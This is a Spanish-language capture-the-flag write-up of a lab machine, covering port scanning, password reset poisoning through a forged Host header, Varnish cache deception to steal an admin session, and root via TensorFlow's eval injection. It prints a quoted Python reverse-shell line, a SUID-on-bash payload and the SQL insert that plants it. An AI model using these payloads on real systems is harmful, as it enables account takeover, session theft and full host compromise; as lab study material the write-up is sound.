Inicio Forgot Writeup
Entrada
Cancelar

Forgot Writeup

Vengo a traer otra guía con una máquina interesante donde nos aprovecharemos de una vulnerabilidad llamada “password reset poisoning” y tener acceso a la cuenta mediante ese cambio de contraseña espero y les guste:)

Information Ghatering / ScanPorts

  • Comenzamos con la fase de recolección de información haciendo un escaneo por TCP en todos los puertos con nmap
1
$ nmap -p-  -sS -vvv  --min-rate 2000 -n -Pn 10.10.11.104 -oG allPorts 

-p- -> escanearemos todos los rangos de puertos (65535)

-sS -> análisis utilizando TCP SYN Este tipo de escaneo, está basado en la velocidad de escaneo, de ahí la versatilidad que mencionamos anteriormente, ya que permite escanear miles de puertos por segundo en una red que se encuentre de>

-vvv -> verbose para que mediante vayas descubriendo puertos se reporten en la terminal

–min-rate 2000 -> paquetes enviados no mas lentos que 2000 paquetes por segundo, envío de paquetes super rápido

-n -> que no aplique resoluci+on de DNS para que no tarde el escaneo

-Pn -> ni que me detecte el descburimiento de hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nmap -p- --open -sS --min-rate 2000 -vvv -n -Pn 10.10.11.188 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 18:14 CST
Initiating SYN Stealth Scan at 18:14
Scanning 10.10.11.188 [65535 ports]
Discovered open port 80/tcp on 10.10.11.188
Discovered open port 22/tcp on 10.10.11.188
Completed SYN Stealth Scan at 18:14, 22.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.188
Host is up, received user-set (0.075s latency).
Scanned at 2023-05-11 18:14:26 CST for 23s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.83 seconds
           Raw packets sent: 65683 (2.890MB) | Rcvd: 65586 (2.623MB)

Directamente pasaré al siguiente escaneo para detectar versiones y servicios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
$ nmap -sCV -p22,80 10.10.11.188 -oN targeted                              
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 18:23 CST
Nmap scan report for 10.10.11.188
Host is up (0.074s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    Werkzeug/2.1.2 Python/3.8.10
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Fri, 12 May 2023 00:24:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     X-Varnish: 28
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Fri, 12 May 2023 00:24:04 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 219
|     Location: http://127.0.0.1
|     X-Varnish: 32797
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Fri, 12 May 2023 00:24:04 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     X-Varnish: 24
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Accept-Ranges: bytes
|     Connection: close
|   RTSPRequest, SIPOptions: 
|_    HTTP/1.1 400 Bad Request
|_http-title: Login
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=5/11%Time=645D8723%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1E2,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.8\.10\r\nDate:\x20Fri,\x2012\x20May\x202023\x2000:24:04\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:20219\r\nLocation:\x20http://127\.0\.0\.1\r\nX-Varnish:\x2032797\r\nAge
SF::\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnection:\x2
SF:0close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>Redirecting
SF:\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be\x20r
SF:edirected\x20automatically\x20to\x20the\x20target\x20URL:\x20<a\x20href
SF:=\"http://127\.0\.0\.1\">http://127\.0\.0\.1</a>\.\x20If\x20not,\x20cli
SF:ck\x20the\x20link\.\n")%r(HTTPOptions,114,"HTTP/1\.1\x20200\x20OK\r\nSe
SF:rver:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Fri,\x2012\x20
SF:May\x202023\x2000:24:04\x20GMT\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nContent-Length:\x200\r
SF:\nX-Varnish:\x2024\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish
SF:/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnection:\x20close\r\n\r\n")%r(
SF:RTSPRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFo
SF:urRequest,1BB,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Fri,\x2012\x20May\x202023\x2000:
SF:24:09\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nX-Varnish:\x2028\r\nAge:\x200\r\nVia:\x201\.1\x20var
SF:nish\x20\(Varnish/6\.2\)\r\nConnection:\x20close\r\n\r\n<!doctype\x20ht
SF:ml>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20
SF:Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20
SF:the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20pl
SF:ease\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(SI
SF:POptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.85 seconds

estamos ante un OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 en el puerto 22, y en el puerto 80 (http) Werkzeug/2.1.2 Python/3.8.10 en el backend emplea Python y la explotación ya me hace pensar que será 100% via web, por lo tanto me meteré para ver mas a detalle

solo vemos un login de sesión y a su vez intenté varias credenciales por defecto pero ninguna era la correcta. Me puse a insepccionar mas el código fuente del sitio http://10.10.11.188 y encontré un nombre de usuario

robert-dev-367120 con este nombre de usuario si checamos en nuestro login oberservamos que pide un username para el cambio de credenciales

y nos dice que “El enlace de restablecimiento de contraseña se ha enviado a la bandeja de entrada del usuario. Utilice el enlace para restablecer su contraseña” esto me causa un poco de curiosidad ya que puede estar estabelicida esa petición por defecto un link para poder cambiar la contraseña, por lo tanto interceptaré la petición con burpsuite, una vez interceptada la petición vemos algo muy interesante la petición apunta hacía un host

esto ya me hace pensar en un ataque de envenenamiento por restablecimiento de contraseña, pero que es esto? tomé como referencia la vulneribilidad escrita en PortSwigger

El envenenamiento por restablecimiento de contraseña es una técnica mediante la cual un atacante manipula un sitio web vulnerable para generar un enlace de restablecimiento de contraseña que apunta a un dominio bajo su control. Este comportamiento se puede aprovechar para robar los tokens secretos necesarios para restablecer las contraseñas de usuarios arbitrarios y, en última instancia, comprometer sus cuentas.

Password reset poisoning

Para este tipo de ataque tenemos que definir un host y en dicha cabezera la modificaré y pondré mi máquina de ataquente esepcificandole un puerto a donde quiero que llegue mi petición como nos dice en el post, quedando como

1
2
3
4
5
6
7
8
9
GET /forgot?username=robert-dev-367120 HTTP/1.1
Host: 10.10.14.11:443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: */*
Accept-Language: es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.11.188/forgot
Cookie: __hstc=37486847.04b75512c5e70df0f641f884f2f42e0d.1683853527660.1683864397738.1683909959078.3; hubspotutk=04b75512c5e70df0f641f884f2f42e0d; __hssrc=1; __hssc=37486847.4.1683909959078

y me pondré a la escucha con nc por el puerto 443 y si nos fijamos después de unos segundos tenemos el token para restablecer la contraseña del usuario

copiamos y pegamos toda esa url que nos proporciona el token y cambiamos la contraseña

ya con la contraseña cambiando me loguearé en el login que vimos al principio con dicho usuario y estamos dentro del portal:)

inspeccionando el portal vemos que se pueden definir algunos tickets y en la sección de “Tickets” hay un usuario que reporto que las credenciales para ssh no funcionan para la máquina jenkins Slave no nos dice mucho al respecto solo me hace pensar que las credenciales se hacen compartir entre los usuarios mediante ese sitema de tickets pero para esto tendría que pasar a otro usuario

Al analizar el código fuente del sitio, podemos ver rutas y una de ellas importantes es admin_tickets pero en esta página no tenemos acceso

indagando más por el portal y viendo las herramientas y tecnologías que emplea la web, con whatweb vi una herramienta de caché con una versión

buscando acerca de ello hay una vulnerabilidad en el caché Vuldb

“Se encontró una vulnerabilidad en Varnish Cache hasta 6.0.5 LTS/6.1.x/6.2.2/6.3.1 . Ha sido declarado como problemático. Una parte desconocida del componente Proxy Handler está afectada por esta vulnerabilidad . La manipulación con una entrada desconocida conduce a una vulnerabilidad de validación de entrada.”

de acuerdo a los ataques en el caché hay uno en particular que podríamos emplearlo aqui Cache Deception

Cache Deception

Los navegadores web almacenan en caché las respuestas estáticas de los servidores para que no tengan que volver a solicitarlas, lo que ahorra tiempo y ancho de banda.Cuando los servidores almacenan en caché las respuestas estáticas, todos se benefician. Pero, ¿qué sucede cuando un servidor almacena en caché una respuesta no estática que contiene información confidencial? El servidor comenzará a enviar la respuesta almacenada en caché a todos a partir de ahora, ¡por lo tanto, hará pública cualquier información confidencial! El ataque de engaño del caché web cuenta con reacciones similares de navegadores y servidores web, Qué sucede al acceder a una URL como http://www.example.com/home.php/non-existent.css El navegador generará una solicitud GET a esa URL.Regresando a nuestra enumeración, donde descubrimos que la aplicación web funciona con Varnish, que es un servicio de proxy inverso HTTP de almacenamiento en caché. Almacena datos a los que se accedió recientemente para quese pueda acceder más rápido en peticiones posteriores. Es muy común para Varnish, o servicios de almacenamiento en caché similares, para almacenar en caché recursos estáticos, como archivos CSS. Algo en tomar en cuenta en este punto es que la aplicación web no nos redirige cuando intentamos buscar un archivo inexistente. En cambio, al observar los recuros que cargan la mayoría de los 404 no manda a una ruta /static.Teniendo static/en la URL significa que Varnish podría almacenarlo en caché. Si el administrador lo ve y se almacena en caché, la próxima vez que intente cargar esa misma ruta, Varnish podría devolverme la página incluso sin autenticarme

Para esta investigación agarré dos articulos interesantes CacheDeception Cache Poisoning XSS BlackHat

Referencias

Entonces en escalate generaré un ticket en donde apuntaré a esa ruta y a un recurso inexistente con extensión .css

Interceptamos con burpsuite para observar la petición que enviamos

Después de unos minutos si enviamos otra petición con curl mostrando las cabezeras a la ruta que apuntamos vemos otra cookie de sesión ;)

Cargamos la cookie de sesión nueva al navegador

y si intentamos cargar /admin_tickets tenemos acceso

nos muestra las credenciales y ya tenemos la primera parte realizada:D!!

1
diego:dCb#1!x0%gjq

Privilege Escalation

Checaremos los permisos a nivel sudoers y podemos ejecutar un script de Python como root mediante sudo. Este es ese

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string

np.random.seed(42)

f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'

# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")

# Create a function to convert an array of strings to a set of features
def getVec(text):
    features = []
    for i, line in enumerate(text):
        test_data = word_tokenize(line.lower())
        v1 = model.infer_vector(test_data)
        featureVec = v1
        lineDecode = unquote(line)
        lowerStr = str(lineDecode).lower()
        feature1 = int(lowerStr.count('link'))
        feature1 += int(lowerStr.count('object'))
        feature1 += int(lowerStr.count('form'))
        feature1 += int(lowerStr.count('embed'))
        feature1 += int(lowerStr.count('ilayer'))
        feature1 += int(lowerStr.count('layer'))
        feature1 += int(lowerStr.count('style'))
        feature1 += int(lowerStr.count('applet'))
        feature1 += int(lowerStr.count('meta'))
        feature1 += int(lowerStr.count('img'))
        feature1 += int(lowerStr.count('iframe'))
        feature1 += int(lowerStr.count('marquee'))
        # add feature for malicious method count
        feature2 = int(lowerStr.count('exec'))
        feature2 += int(lowerStr.count('fromcharcode'))
        feature2 += int(lowerStr.count('eval'))
        feature2 += int(lowerStr.count('alert'))
        feature2 += int(lowerStr.count('getelementsbytagname'))
        feature2 += int(lowerStr.count('write'))
        feature2 += int(lowerStr.count('unescape'))
        feature2 += int(lowerStr.count('escape'))
        feature2 += int(lowerStr.count('prompt'))
        feature2 += int(lowerStr.count('onload'))
        feature2 += int(lowerStr.count('onclick'))
        feature2 += int(lowerStr.count('onerror'))
        feature2 += int(lowerStr.count('onpage'))
        feature2 += int(lowerStr.count('confirm'))
        # add feature for ".js" count
        feature3 = int(lowerStr.count('.js'))
        # add feature for "javascript" count
        feature4 = int(lowerStr.count('javascript'))
        # add feature for length of the string
        feature5 = int(len(lowerStr))
        # add feature for "<script"  count
        feature6 = int(lowerStr.count('script'))
        feature6 += int(lowerStr.count('<script'))
        feature6 += int(lowerStr.count('&lt;script'))
        feature6 += int(lowerStr.count('%3cscript'))
        feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
        # add feature for special character count
        feature7 = int(lowerStr.count('&'))
        feature7 += int(lowerStr.count('<'))
        feature7 += int(lowerStr.count('>'))
        feature7 += int(lowerStr.count('"'))
        feature7 += int(lowerStr.count('\''))
        feature7 += int(lowerStr.count('/'))
        feature7 += int(lowerStr.count('%'))
        feature7 += int(lowerStr.count('*'))
        feature7 += int(lowerStr.count(';'))
        feature7 += int(lowerStr.count('+'))
        feature7 += int(lowerStr.count('='))
        feature7 += int(lowerStr.count('%3C'))
        # add feature for http count
        feature8 = int(lowerStr.count('http'))
        
        # append the features
        featureVec = np.append(featureVec,feature1)
        featureVec = np.append(featureVec,feature2)
        featureVec = np.append(featureVec,feature3)
        featureVec = np.append(featureVec,feature4)
        featureVec = np.append(featureVec,feature5)
        featureVec = np.append(featureVec,feature6)
        featureVec = np.append(featureVec,feature7)
        featureVec = np.append(featureVec,feature8)
        features.append(featureVec)
    return features


# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
        data.append(i)
Xnew = getVec(data)

#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)

# show the sample inputs and predicted outputs
def assessData(i):
    score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
    if score >= .5:
        try:
                preprocess_input_exprs_arg_string(data[i],safe=False)
        except:
                pass

for i in range(len(Xnew)):
     t = threading.Thread(target=assessData, args=(i,))
#     t.daemon = True
     t.start()

en este punto hay dos cosas importantes que tomar en cuenta

  1. tenemos unas credenciales para conectarnos a la base de datos y todo lo que se ejecute mediante este script se conecta a una base de datos local que tiene definida el usuario en este caso hay una variable llamada “data” que proviene de la base de datos
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
    cursor = conn.cursor()
    cursor.execute('select reason from escalate')
    r = [i[0] for i in cursor.fetchall()]
    conn.close()
    data=[]
    for i in r:
         data.append(i)
    Xnew = getVec(data)
    
  2. El script anterior de python se encarga de analizar la información de la columna reason y clasificarla a través de métodos de machine learning. Estos datos son las reasons de los tickets que se tramitan, buscando me encuentro una vulnerabilidad de inyección de código asociada a la función preprocess_input_exprs_arg_string de la librería de python tensorflow.
    1
    2
    3
    4
    5
    6
    7
    8
    
    # show the sample inputs and predicted outputs
    def assessData(i):
     score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))  
     if score >= .5:
         try:
                 preprocess_input_exprs_arg_string(data[i],safe=False)
         except:
                 pass
    

    security.snyk.io. y revisando vemos que si es vulnerable

1
2
3
diego@forgot:~$ pip freeze | grep tensorflow  
tensorflow==2.6.3
tensorflow-estimator==2.6.0

la falla de esta vulnerabilidad proviene de la función (preprocess_input_exprs_arg_string) que esta implementada de la siguiente forma

1
2
3
4
5
6
7
8
9
def preprocess_input_exprs_arg_string(input_exprs_str):
    input_dict = {}

  for input_raw in filter(bool, input_exprs_str.split(';')):
      ...
        input_key, expr = input_raw.split('=', 1)
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

La inyección ocurre en esa función porque utiliza eval. Por lo tanto, se puede ejecutar código malicioso, en este blog explica donde se produce la falla -> JFrog el POC de la inyección es el siguiente

1
2
hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")

En este caso, se está utiliza la inyección de código para enviar una reverse shell. lo que haŕe es que el usuario root asigne permisos SUID a la bash

1
hello = exec("""__import__("os").system("chmod u+s /bin/bash")""")

entonces me conectaré a la base de datos e insertaré el payload en la columna (reason) de la tabla escalate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
diego@forgot:~$ mysql -u diego -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3420
Server version: 8.0.31-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| app                |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> use app;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------+
| Tables_in_app |
+---------------+
| admin_tickets |
| escalate      |
| forgot        |
| tickets       |
| users         |
+---------------+
5 rows in set (0.00 sec)

mysql> describe escalate;
+--------+------+------+-----+---------+-------+
| Field  | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| user   | text | YES  |     | NULL    |       |
| issue  | text | YES  |     | NULL    |       |
| link   | text | YES  |     | NULL    |       |
| reason | text | YES  |     | NULL    |       |
+--------+------+------+-----+---------+-------+
4 rows in set (0.00 sec)

mysql> insert into escalate (reason) values ('hello = exec("""__import__("os").system("chmod u+s /bin/bash")""")');
Query OK, 1 row affected (0.06 sec)

mysql> select * from escalate;
+------+-------+------+--------------------------------------------------------------------+
| user | issue | link | reason                                                             |
+------+-------+------+--------------------------------------------------------------------+
| NULL | NULL  | NULL | hello = exec("""__import__("os").system("chmod u+s /bin/bash")""") |
+------+-------+------+--------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> exit
Bye

una vez hecho esto me salgo y ejecuto el script con sudo y vemos que tenemos ya los permisos de root asignados a la bash

solo damos bash -p para habilitar los privilegios y tenemos otra máquina completada;)!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.